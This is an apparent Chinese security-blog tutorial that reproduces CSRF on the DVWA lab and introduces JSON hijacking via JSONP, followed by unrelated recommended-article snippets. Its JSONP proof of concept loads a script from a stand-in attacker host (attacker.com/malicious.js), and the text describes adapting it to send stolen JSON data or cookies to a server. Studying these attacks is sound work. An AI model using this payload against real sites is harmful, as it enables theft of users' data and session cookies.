云舒_YunShu
云舒_YunShu

Csrf再识及初识Json劫持

再识Csrf

Csrf概念

Csrf中文名跨站请求伪造，它是通过伪造受信任用户的请求来利用受信任的网站。可以理解为攻击者盗用额了你的身份，以你的名义来发送恶意请求。比如：以你的名义发送邮件，发消息，盗号、转账等等。

题外话：这里对Csrf的再识源于实习这段时间眼瞅着大佬们交了好些Csrf漏洞，自己这方面的产出一个也没有，于是决定再好好回顾一下。为什么叫Csrf再识呢？那是因为这是第二次学习这个漏洞，期望之后能在这方面有些许漏洞产出。

Csrf利用条件：

  1. 已有本地Cookie
  2. 在不登出网站A的前提下，访问网站B（网站A是需要攻击的网站，网站B可以是恶意构造的发送请求的网站）

上述两个条件可以归结为一个利用链条：有某个网站的cookie，构造一个可以发送某个包的poc（html文件即可实现）

嘴上说来复杂，我们实操来验证一下，这里还是使用经典的DVWA来实操

Csrf复现环境准备

首先还是事先安装好熟悉的phpstudy（小皮）https://www.xp.cn/ ，接下来是准备我们的靶场环境DVWA https://github.com/digininja/DVWA，下载好后，用小皮配置，我们在小皮创建一个网站，其根目录解析到dvwa目录下即可，然后数据库创建数据表，修改DVWA的默认配置文件里的数据库地址，账号密码等即可，访问http://bachang.cn/dvwa/setup.php进行配置，这里不再多废话，成功如下图：

初始账号密码：admin/password，看到如下图即可

接下来我们需要点击下方的安全设置，将难度修改为low

Csrf复现

接下来我们开始复现，我们输入新密码，并抓包，发现修改密码成功

这里我们就会有个思考，密码修改成功，没见通过用户名来修改密码呀，细心的师傅应该也想到了cookie这个东西，那么我们直接构造一个网页让登录该网站的其它用户点击，是不是直接强制修改密码了，也就造成了csrf漏洞。

这时候我们直接使用burp自带的csrf验证功能：

Csrf再识及初识Json劫持_第1张图片

我们可以看到下图已经为我们生成了poc网页，我们在浏览器打开，会发现是一个按钮，我们直接点击这个按钮

可以看到如下图，直接跳转到修改密码成功的界面了（如果此时是受害者点击了这个按钮，那么受害者所登录的账号的密码将会被修改为我们上图poc中的隐藏输入框中的密码，即admin）：

初识Json劫持

Json劫持概念

到这里可算是把csrf再次认识了一遍，那么我们的Json劫持又是什么呢？

Json劫持的攻击过程有点类似于Csrf，只不过Csrf只管发送Http请求，但是Json劫持的目的是窃取敏感数据。

怎么理解呢？

如果使用get请求获取的json数据在最后加上callback参数，浏览器会认为这是一个JSONP（JSON with Padding）请求，并且会将返回的JSON数据包裹在一个函数调用中，调用的函数名就是callback指定的函数名。浏览器会将这个JSONP响应解析为一个脚本，然后在当前页面中创建一个script标签，以调用该函数，并将JSON数据作为参数传递给该函数。因此，如果在页面中定义了名为callback指定的函数，浏览器就会调用该函数，并将JSON数据作为参数传递给该函数。如果没有定义该函数，则会引发一个错误。

具体而言，可以利用JSONP（JSON with Padding）实现JSON劫持攻击。JSONP是一种跨域技术，可以通过使用

这里简单来说就是类似于Csrf一样构造一个poc（如下）

<html>
<head>
    <title>恒运安全json劫持测试title>
<script>
    // 发送JSONP请求
    var script = document.createElement('script');
    script.src = 'https://example.com/api/data?callback=parseResponse';
    document.head.appendChild(script);

    // 处理JSONP响应
    function parseResponse(data) {
        // 将数据插入到页面上
        var div = document.getElementById('data');
        div.innerHTML = 'Name: ' + data.name + '
Age: ' + data.age;

        // 在页面上插入恶意代码
        var maliciousScript = document.createElement('script');
        maliciousScript.src = 'https://attacker.com/malicious.js';
        document.head.appendChild(maliciousScript);
    }
script>
head>
html>

我们来分析一下上方的poc，我们向一个名为parseResponse的回调函数发出一个JSONP请求，该请求从example.com的API中获取数据。一旦数据被解析并传递给parseResponse()函数，它将被插入到页面上的一个

元素中。

同时，我们也在parseResponse()函数中插入了另一个恶意的JSONP请求，它从attacker.com的服务器上获取并执行一个名为malicious.js的JavaScript文件。攻击者可以在malicious.js文件中编写任意的JavaScript代码，以获取页面中的敏感数据或执行其他恶意操作。

同理，我们可以将恶意代码处修改为发送获取的json数据或cookie等信息到某个vps或构造的恶意网址，这样就达到了窃取敏感数据的目的

Json劫持修复建议

最简单的方法就是使用post方式获取json数据

最后，欢迎大家关注公众号:恒运安全

你可能感兴趣的:(csrf,json)

  • UniApp + UniCloud 实现微信小程序静默登录 九情丶 uni-app微信小程序notepad++
    UniApp+UniCloud实现微信小程序静默登录目录1.项目准备2.UniCloud配置3.前端实现4.云函数实现5.完整示例1.项目准备1.1环境要求HBuilderX3.0+微信开发者工具UniCloud已开通微信小程序已注册1.2项目配置在manifest.json中配置微信小程序AppID：{"mp-weixin":{"appid":"你的小程序AppID","setting":{"u
  • 防止 npm 安装不支持的 Node.js 版本 lio_zero npmnode.js前端vue.jsjavascript
    确保设置项目的使用特定的Node.js版本，使开发人员在gitclone或gitpull您的项目时，可以正常运行项目。我们可以通过在package.json中设置engines属性来指定版本范围。{"engines":{"node":">=15.0.0"}}许多项目定义了engine属性，但没有强制执行所需的Node.js版本。在不支持Node.js版本的项目中运行npminstall时，将显示以
  • vue3+typeScript+vite3+vscode+eslint+prettiter+element-plus+vue-router+pinia+cryptoJs+tailwindcss 高梅飞花 vuetypescriptvite编辑器vscodeide
    项目实战windows环境搭建nodeJs安装vite3安装+项目新建配置tsconfig.json配置vite.config.tspackage.jsontailwind.config.cjs配置.eslintrc.cjs配置vscode配置vscodeeslintsettings.jsonmain.ts入口pinia配置路由配置windows环境搭建nodeJs安装nodeJs官网：https
  • 微信小程序开发设置支持scss文件 晨枫阳 微信小程序scss小程序
    在微信小程序开发中，默认是不支持scss文件的，创建文件的时候，css文件默认创建的是wxss后缀结尾的，但是用习惯了scss的怎么办呢？首先找到project.config.json文件，打开文件在setting下设置useCompilerPlugins，在useCompilerPlugins数组中增加"sass""useCompilerPlugins":["sass"],
  • C：JSON-C简介 技术探索者 #Cjson
    介绍JSON-C是一个用于处理JSON格式数据的C语言库，提供了一系列操作JSON数据的函数。一、json参数类型typedefenumjson_type{json_type_null,json_type_boolean,json_type_double,json_type_int,json_type_object,json_type_array,json_type_string,}json_ty
  • Docker网段和服务器ip冲突导致无法访问网络的解决方法 docker
    若宿主机所在网络的网段为172.[17-31].xx.xx，则会与Docker本身内部网络间出现冲突，此时需要重新配置Docker默认地址池一：查看docker的默认网段route二：修改docker的默认网段etc/docker/daemon.json文件增加修改网段信息{"default-address-pools":[{"base":"180.0.0.0/16","size":24}],"b
  • Go Web 框架集合 蚂蚁在飞- golang开发语言后端
    1.Gin•简介：Gin是一个高性能的GoWeb框架，设计目标是提供速度和高效性。它是Go语言中最受欢迎的Web框架之一。•特点：•极高的性能，基于httprouter。•支持中间件、JSON渲染、路由分组等功能。•丰富的错误处理和请求验证功能。•良好的文档和社区支持。•适用场景：适合需要高性能和灵活性的Web服务或RESTfulAPI。官方网站：https://gin-gonic.com/2.E
  • LLaMA-Factory 基于 LoRA 的 SFT 指令微调及相关功能梳理 Ambition_LAO 深度学习人工智能机器学习
    1.数据准备微调数据的格式为Alpaca或ShareGPT格式，需进行以下步骤：自定义数据集转换：将原始数据集转换成指定格式（JSON格式）。示例数据：{"instruction":"写一个商品文案","input":"类型#裤*版型#宽松","output":"宽松的阔腿裤吸引了大量明星的喜爱，设计感十足。"}数据注册：修改data/dataset_info.json文件，将数据集注册到系统中。
  • 告别重启！Vue CLI 动态代理配置实战：实现热更新与灵活配置 前端
    在前端开发中，代理配置是解决跨域问题的常见手段。尤其是在使用VueCLI进行开发时，我们经常需要通过devServer.proxy来配置代理。然而，传统的代理配置通常是静态的，修改后需要重启开发服务器，这在频繁调整代理配置的场景下显得非常不便。本文将介绍一种动态代理配置的解决方案，通过监听配置文件的变化，实现代理配置的热更新，无需重启开发服务器。同时，我们将代理配置从JSON文件改为JavaScr
  • Redis CVE-2022-24834 复现 hicode0101 redis数据库缓存
    (CVE-2022-24834)在Redis中执行的特制Lua脚本可能会触发cjson和cmsgpack库中的堆溢出，并导致堆损坏和潜在的远程代码执行。从2.6开始，所有支持Lua脚本的Redis版本都存在该问题，并且仅影响经过认证和授权的用户。GitHub-convisolabs/CVE-2022-24834Contributetoconvisolabs/CVE-2022-24834develo
  • Java开发笔记 zxg45 个人笔记#Javajavaspringbootjdk
    Java开发笔记1、工具类1.1时间1.2JSON操作2、文件操作3、网络1、工具类1.1时间时间格式化publicstaticfinalDATE_PATTERN="yyyy-MM-ddHH:mm:ssSSS";Stringdate=newSimpleDateFormat(DATE_PATTERN).format(newDate());实体类注解时间格式化publicstaticfinalStri
  • 【Python】Python-JOSE：Python 中的 JSON Web Token 处理库 @Unity打怪升级 Pythonpythonjson人工智能前端开发语言开源机器学习
    Python-JOSE是一个用于处理JSONWebToken(JWT)和JOSE(JSONObjectSigningandEncryption)标准的Python库。它支持对JWT进行签名、加密、解密和验证等操作，是处理基于OAuth2.0和OpenIDConnect协议的身份验证和授权任务的理想选择。Python-JOSE实现了JOSE规范中定义的JWS(JSONWebSignature)、JW
  • Strus2 @JSON(serialize=false)，过滤不需要的变量 sageparadise struts2Javasstruts2.0json
    在用struts2的Action加@ParentPackage("json-default")注解orstruts.xml配置文件中Action所在的package继承json-default，Action中方法返回json类型的数据时，在没有任何设定的情况下，改类下的所有getter方法的返回值将被包含在返回给客户端的JSON字符串中。需要剔除不需要包含的属性，在类结构结构中需要在getter方
  • 用 simplejson 轻松搞定复杂 JSON 文件，性能秒杀标准库！ 忆愿 Python编程的脉动之声jsonandroidpython人工智能机器学习深度学习神经网络
    你好，我是忆愿，全网4w+粉丝，《遂愿盈创》社群主理人。副业启航①|遂愿盈创（对副业感兴趣免费可入，多种赚钱实战项目等你来，一起探寻副业快速变现的途径；以及对接互联网大厂商务合作，一起来搞点小外快，认识更多互联网大咖）目前群里已经带很多小伙伴（大部分大学生）变现几百块啦，程序员搞副业有额外加成~对副业感兴趣可+V:suiyuan2ying拉你进群。文章目录初识simplejson性能对比大揭秘强大
  • MYSQL数据类型 jay丿 mysql数据库
    数据类型结构化数据、例如关系型数据库半结构化数据、HTML、XML、JSON非结构化数据SQL（结构化查询语言）命令关系型数据库擅长处理结构化数据、可以通过结构化查询语言对数据进行CRUD(增删改查)DDL(数据定义语言)：主要包含的命令有create、drop、alter、truncate、showDML(数据操纵语言):主要包含的命令有insert,update,deleteDQL(数据查询语
  • Node.js 能做什么 yqcoder node.js
    一、服务器端开发1.构建Web服务器使用内置的`http`模块或流行的框架（如Express、Koa等）创建Web服务器，处理HTTP请求和响应。可以处理各种类型的请求，如GET、POST、PUT、DELETE等，并返回相应的HTML、JSON或其他数据类型。consthttp=require("http");constserver=http.createServer((req,res)=>{ r
  • python爬取高德地图道路交通状态数据代码 weixin_17839606517 可视化python开发语言
    """author:17839606517"""importdatetimeimportdatetimeimportosimportcsvfromcodecsimportStreamReaderWriterimportnumpyasnpimportrequestsimportpandasaspdimportjsonimportcodecsimporttimedefaaa():#初始API的URL#
  • JSON数据格式转换 百事老饼干 前端积累json
    在前端Vue3中，处理JSON数据通常涉及到从API获取JSON、解析JSON数据、或者将JavaScript对象转换为JSON字符串。这里是几种常见的JSON转换操作一、从JSON字符串解析为JavaScript对象如果你从API或其他地方收到一个JSON字符串，可以使用JSON.parse()来将它转换为JavaScript对象。letjsonString='{"name":"John","a
  • 【gin】gin中使用protbuf消息传输go案例 {⌐■_■} gingolang开发语言
    在Gin中使用Protobuf进行高效消息传输Protobuf（ProtocolBuffers）是一种高效的二进制序列化协议，广泛用于高性能场景的数据传输。相比JSON，Protobuf具有更小的体积和更快的解析速度，非常适合服务间通信或前后端交互。为什么选择Protobuf？特性JSONProtobuf体积大小较大（文本格式）较小（二进制格式）解析速度较慢较快跨语言支持较弱强（支持多种语言）定义
  • Java：读取本地文件 Monly21 Javajava开发语言
    /***读取本地JSON文件**@throwsIOException*/publicstaticvoidreadLocalFile()throwsIOException{Filefile=newFile("D:\\repo\\java_base_test\\data.json");FileReaderfileReader=newFileReader(file);BufferedReaderbuff
  • 封装Redis工具类（解决击穿，穿透） Li清水 Redisredis数据库缓存
    基于StringRedisTemplate封装一个缓存工具类Redis实战篇|Kyle'sBlog(cyborg2077.github.io)目录方法1：将任意Java对象序列化为JSON，并存储到String类型的Key中，并可以设置TTL过期时间方法2：将任意Java对象序列化为JSON，并存储在String类型的Key中，并可以设置逻辑过期时间，用于处理缓存击穿问题方法3：根据指定的Key查
  • 深入了解JSON：Python中JSON的全面应用指南 kdayjj966 开发语言jsonpython
    JSON（JavaScriptObjectNotation）是一种广泛使用的数据交换格式，以其轻量级和易于阅读及解析的特性而备受欢迎。JSON起源于JavaScript，但已经被许多编程语言广泛支持，包括Python。本教程将深入探讨JSON的构造、数据类型，以及在Python中的多种操作方式。JSON的基础构造JSON由两种主要结构组成：对象（Object）和数组（Array）。对象（Objec
  • 解决docker: Error response from daemon: Get “https://registry-1.docker.io/v2/“: net/http: request canc 码农甘道夫 dockerk8sdocker容器
    解决docker:Errorresponsefromdaemon:Get“https://registry-1.docker.io/v2/”:net/http:requestcanceledwhilewaitingforconnection(Client.Timeoutexceededwhileawaitingheaders).首先进入/etc/docker/daemon.json文件然后在里面加
  • matlab代码实现了一个基于 SVM（支持向量机）的图像分割系统 go5463158465 MATLAB专栏算法深度学习matlab支持向量机开发语言
    clear;clc;main();%1.数据加载和预处理function[features,labels]=prepareData(imageFolder)%获取所有图像和JSON文件imgFiles
  • XML 与 JSON 实现 互转 wsl394049743 xmljson
    将XML转换为JSON：不需要更改，已经在前面的代码中完成。将JSON转换为XML：在此步骤中，XMLBuilder生成XML后，你可以进一步处理以满足格式要求。后处理XML：编写一个函数来替换换行符和多余的空格，确保换行符是\r\n，并且每个节点后都有一个换行符。以下是处理过程的详细代码：import{XMLParser,XMLBuilder}from'fast-xml-parser';//将X
  • 使用 electron-builder 构建一个 Electron 应用程序 常见问题以及解决办法 涔溪 Electronelectronjavascript前端
    构建Electron应用程序时，使用electron-builder可能会遇到一些常见问题。以下是一些问题及其解决办法：1.构建输出目录冲突问题：如果你的项目中已经存在与构建输出目录同名的文件夹，可能会导致构建失败。解决方法：确保package.json中build.directories.output指定的输出目录在构建开始前不存在或为空。你可以手动删除该文件夹，或者配置构建工具在每次构建前自动
  • [SWPUCTF 2021 新生赛] snowlyzz nssctfjson
    [SWPUCTF2021新生赛]jicao进入环境：post传id对get传的json进行json解码示例：int(1)["b"]=>int(2)["c"]=>int(3)["d"]=>int(4)["e"]=>int(5)所以我们只要传get:json={"x":“wllm”}post:id=wllmNB就可以了[SWPUCTF2021新生赛]pop很基础的pop链构造：
  • Python 获取字典的值：全面指南 egzosn pythonjava服务器前端linux
    字典(dict)是Python中一个强大的数据结构，用于存储键值对。无论是处理JSON数据，还是设计复杂的配置文件，字典都无处不在。本文将全面介绍在Python中获取字典值的各种方法，通过多个详细的代码示例，帮助你掌握如何在不同场景下灵活操作字典。一、字典基础知识在Python中，字典使用花括号{}定义，其键必须是不可变的(如字符串、数字或元组)，值可以是任意类型。以下是一个简单的字典示例：登录后
  • 迅为RK3568开发板篇OpenHarmony配置HDF驱动控制LED-新增 topeet子系统-编写 bundle.json文件 mucheni RK3568开发板rk3568
    bundle.json文件内容如下所示：下面是对各个字段的解释：1.name:"@ohos/demos"-这是组件或项目的名称，这里表示它属于OHOS（OpenHarmonyOS）生态系统下的一个名为"demos"的组件。2.description:"topeetdemos"-它描述了组件的简短说明3.version:"4.1"-组件的版本号。4.license:"Apache-2.0"-组件使用
  • 解决时间戳转换为json报错问题！！！ 明天更新 日后嚣张的资本json
    错误如下：com.alibaba.fastjson2.JSONException:cannotcasttojava.sql.Timestamp,fromclassjava.lang.Long问题原因：我们在数据中的时间戳格式为：2024-11-2210:44:15转换为josn后变成了：createTime->{Long@14296}1732243455000然后我们再将json转换为具体的对象的
  • 312个免费高速HTTP代理IP（能隐藏自己真实IP地址） yangshangchuan 高速免费superwordHTTP代理
        124.88.67.20:843 190.36.223.93:8080 117.147.221.38:8123 122.228.92.103:3128 183.247.211.159:8123 124.88.67.35:81 112.18.51.167:8123 218.28.96.39:3128 49.94.160.198:3128 183.20
  • pull解析和json编码 百合不是茶 androidpull解析json
    n.json文件: [{name:java,lan:c++,age:17},{name:android,lan:java,age:8}]   pull.xml文件 <?xml version="1.0" encoding="utf-8"?> <stu>     <name>java
  • [能源与矿产]石油与地球生态系统 comsci 能源
          按照苏联的科学界的说法,石油并非是远古的生物残骸的演变产物,而是一种可以由某些特殊地质结构和物理条件生产出来的东西,也就是说,石油是可以自增长的....       那么我们做一个猜想: 石油好像是地球的体液,我们地球具有自动产生石油的某种机制,只要我们不过量开采石油,并保护好
  • 类与对象浅谈 沐刃青蛟 java基础
           类，字面理解，便是同一种事物的总称，比如人类，是对世界上所有人的一个总称。而对象，便是类的具体化，实例化，是一个具体事物，比如张飞这个人，就是人类的一个对象。但要注意的是：张飞这个人是对象，而不是张飞，张飞只是他这个人的名字，是他的属性而已。而一个类中包含了属性和方法这两兄弟，他们分别用来描述对象的行为和性质（感觉应该是
  • 新站开始被收录后，我们应该做什么？ IT独行者 PHPseo
    新站开始被收录后，我们应该做什么？         百度终于开始收录自己的网站了，作为站长，你是不是觉得那一刻很有成就感呢，同时，你是不是又很茫然，不知道下一步该做什么了？至少我当初就是这样，在这里和大家一份分享一下新站收录后，我们要做哪些工作。       至于如何让百度快速收录自己的网站，可以参考我之前的帖子《新站让百
  • oracle 连接碰到的问题 文强chu oracle
    Unable to find a java Virtual Machine－－安装64位版Oracle11gR2后无法启动SQLDeveloper的解决方案 作者：草根IT网 来源：未知 人气：813标签： 导读：安装64位版Oracle11gR2后发现启动SQLDeveloper时弹出配置java.exe的路径，找到Oracle自带java.exe后产生的路径“C:\app\用户名\prod
  • Swing中按ctrl键同时移动鼠标拖动组件（类中多借口共享同一数据） 小桔子 java继承swing接口监听
            都知道java中类只能单继承，但可以实现多个接口，但我发现实现多个接口之后，多个接口却不能共享同一个数据，应用开发中想实现：当用户按着ctrl键时，可以用鼠标点击拖动组件，比如说文本框。 编写一个监听实现KeyListener,NouseListener,MouseMotionListener三个接口，重写方法。定义一个全局变量boolea
  • linux常用的命令 aichenglong linux常用命令
    1 startx切换到图形化界面 2 man命令:查看帮助信息 man 需要查看的命令,man命令提供了大量的帮助信息,一般可以分成4个部分 name:对命令的简单说明 synopsis:命令的使用格式说明 description:命令的详细说明信息 options:命令的各项说明 3 date:显示时间 语法：date [OPTION]... [+FORMAT]
  • eclipse内存优化 AILIKES javaeclipsejvmjdk
    一 基本说明      在JVM中，总体上分2块内存区,默认空余堆内存小于 40%时，JVM就会增大堆直到-Xmx的最大限制；空余堆内存大于70%时，JVM会减少堆直到-Xms的最小限制。     1)堆内存(Heap memory):堆是运行时数据区域，所有类实例和数组的内存均从此处分配,是Java代码可及的内存，是留给开发人
  • 关键字的使用探讨 百合不是茶 关键字
    //关键字的使用探讨/*访问关键词private 只能在本类中访问public 只能在本工程中访问protected 只能在包中和子类中访问默认的 只能在包中访问*//*final   类 方法 变量 final 类 不能被继承 final 方法 不能被子类覆盖，但可以继承 final 变量 只能有一次赋值，赋值后不能改变 final 不能用来修饰构造方法*///this()
  • JS中定义对象的几种方式 bijian1013 js
        1. 基于已有对象扩充其对象和方法(只适合于临时的生成一个对象)： <html> <head> <title>基于已有对象扩充其对象和方法(只适合于临时的生成一个对象)</title> </head> <script> var obj = new Object();
  • 表驱动法实例 bijian1013 java表驱动法TDD
    获得月的天数是典型的直接访问驱动表方式的实例，下面我们来展示一下： MonthDaysTest.java package com.study.test; import org.junit.Assert; import org.junit.Test; import com.study.MonthDays; public class MonthDaysTest { @T
  • LInux启停重启常用服务器的脚本 bit1129 linux
    启动，停止和重启常用服务器的Bash脚本，对于每个服务器，需要根据实际的安装路径做相应的修改   #! /bin/bash Servers=(Apache2, Nginx, Resin, Tomcat, Couchbase, SVN, ActiveMQ, Mongo); Ops=(Start, Stop, Restart); currentDir=$(pwd); echo
  • 【HBase六】REST操作HBase bit1129 hbase
    HBase提供了REST风格的服务方便查看HBase集群的信息，以及执行增删改查操作   1. 启动和停止HBase REST 服务 1.1 启动REST服务 前台启动（默认端口号8080） [hadoop@hadoop bin]$ ./hbase rest start   后台启动 hbase-daemon.sh start rest   启动时指定
  • 大话zabbix 3.0设计假设 ronin47
    What’s new in Zabbix 2.0? 去年开始使用Zabbix的时候，是1.8.X的版本，今年Zabbix已经跨入了2.0的时代。看了2.0的release notes，和performance相关的有下面几个：          :: Performance improvements::Trigger related da
  • http错误码大全 byalias http协议javaweb
    响应码由三位十进制数字组成，它们出现在由HTTP服务器发送的响应的第一行。 响应码分五种类型，由它们的第一位数字表示： 1）1xx：信息，请求收到，继续处理 2）2xx：成功，行为被成功地接受、理解和采纳 3）3xx：重定向，为了完成请求，必须进一步执行的动作 4）4xx：客户端错误，请求包含语法错误或者请求无法实现 5）5xx：服务器错误，服务器不能实现一种明显无效的请求
  • J2EE设计模式-Intercepting Filter bylijinnan java设计模式数据结构
    Intercepting Filter类似于职责链模式 有两种实现 其中一种是Filter之间没有联系，全部Filter都存放在FilterChain中，由FilterChain来有序或无序地把把所有Filter调用一遍。没有用到链表这种数据结构。示例如下： package com.ljn.filter.custom; import java.util.ArrayList;
  • 修改jboss端口 chicony jboss
    修改jboss端口   %JBOSS_HOME%\server\{服务实例名}\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml   中找到 <!-- The ports-default bindings are obtained by taking the base bindin
  • c++ 用类模版实现数组类 CrazyMizzz C++
    最近c++学到数组类，写了代码将他实现，基本具有vector类的功能 #include<iostream> #include<string> #include<cassert> using namespace std; template<class T> class Array { public: //构造函数
  • hadoop dfs.datanode.du.reserved 预留空间配置方法 daizj hadoop预留空间
    对于datanode配置预留空间的方法 为：在hdfs-site.xml添加如下配置  <property>     <name>dfs.datanode.du.reserved</name>     <value>10737418240</value>    
  • mysql远程访问的设置 dcj3sjt126com mysql防火墙
    第一步: 激活网络设置 你需要编辑mysql配置文件my.cnf. 通常状况，my.cnf放置于在以下目录： /etc/mysql/my.cnf (Debian linux) /etc/my.cnf （Red Hat Linux/Fedora Linux) /var/db/mysql/my.cnf (FreeBSD) 然后用vi编辑my.cnf，修改内容从以下行： [mysqld] 你所需要: 1
  • ios 使用特定的popToViewController返回到相应的Controller dcj3sjt126com controller
    1、取navigationCtroller中的Controllers NSArray * ctrlArray = self.navigationController.viewControllers; 2、取出后，执行， [self.navigationController popToViewController:[ctrlArray objectAtIndex:0] animated:YES
  • Linux正则表达式和通配符的区别 eksliang 正则表达式通配符和正则表达式的区别通配符
    转载请出自出处：http://eksliang.iteye.com/blog/1976579 首先得明白二者是截然不同的 通配符只能用在shell命令中,用来处理字符串的的匹配。 判断一个命令是否为bash shell(linux 默认的shell)的内置命令 type -t commad 返回结果含义 file  表示为外部命令 alias  表示该
  • Ubuntu Mysql Install and CONF gengzg Install
    http://www.navicat.com.cn/download/navicat-for-mysql Step1: 下载Navicat ，网址：http://www.navicat.com/en/download/download.html Step2：进入下载目录，解压压缩包：tar -zxvf navicat11_mysql_en.tar.gz
  • 批处理，删除文件bat huqiji windowsdos
    @echo off ::演示：删除指定路径下指定天数之前（以文件名中包含的日期字符串为准）的文件。 ::如果演示结果无误，把del前面的echo去掉，即可实现真正删除。 ::本例假设文件名中包含的日期字符串（比如：bak-2009-12-25.log） rem 指定待删除文件的存放路径 set SrcDir=C:/Test/BatHome rem 指定天数 set DaysAgo=1
  • 跨浏览器兼容的HTML5视频音频播放器 天梯梦 html5
    HTML5的video和audio标签是用来在网页中加入视频和音频的标签，在支持html5的浏览器中不需要预先加载Adobe Flash浏览器插件就能轻松快速的播放视频和音频文件。而html5media.js可以在不支持html5的浏览器上使video和audio标签生效。   How to enable <video> and <audio> tags in
  • Bundle自定义数据传递 hm4123660 androidSerializable自定义数据传递BundleParcelable
          我们都知道Bundle可能过put****()方法添加各种基本类型的数据，Intent也可以通过putExtras(Bundle)将数据添加进去，然后通过startActivity()跳到下一下Activity的时候就把数据也传到下一个Activity了。如传递一个字符串到下一个Activity   把数据放到Intent
  • C＃：异步编程和线程的使用（.NET 4.5 ） powertoolsteam .net线程C#异步编程
    异步编程和线程处理是并发或并行编程非常重要的功能特征。为了实现异步编程，可使用线程也可以不用。将异步与线程同时讲，将有助于我们更好的理解它们的特征。 本文中涉及关键知识点 1. 异步编程 2. 线程的使用 3. 基于任务的异步模式 4. 并行编程 5. 总结 异步编程 什么是异步操作？异步操作是指某些操作能够独立运行，不依赖主流程或主其他处理流程。通常情况下，C＃程序
  • spark 查看 job history 日志 Stark_Summer 日志sparkhistoryjob
    SPARK_HOME/conf 下: spark-defaults.conf 增加如下内容 spark.eventLog.enabled true spark.eventLog.dir hdfs://master:8020/var/log/spark spark.eventLog.compress true spark-env.sh 增加如下内容 export SP
  • SSH框架搭建 wangxiukai2015eye springHibernatestruts
    MyEclipse搭建SSH框架 Struts Spring Hibernate 1、new一个web project。 2、右键项目，为项目添加Struts支持。    选择Struts2 Core Libraries -<MyEclipes-Library>      点击Finish。src目录下多了struts
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他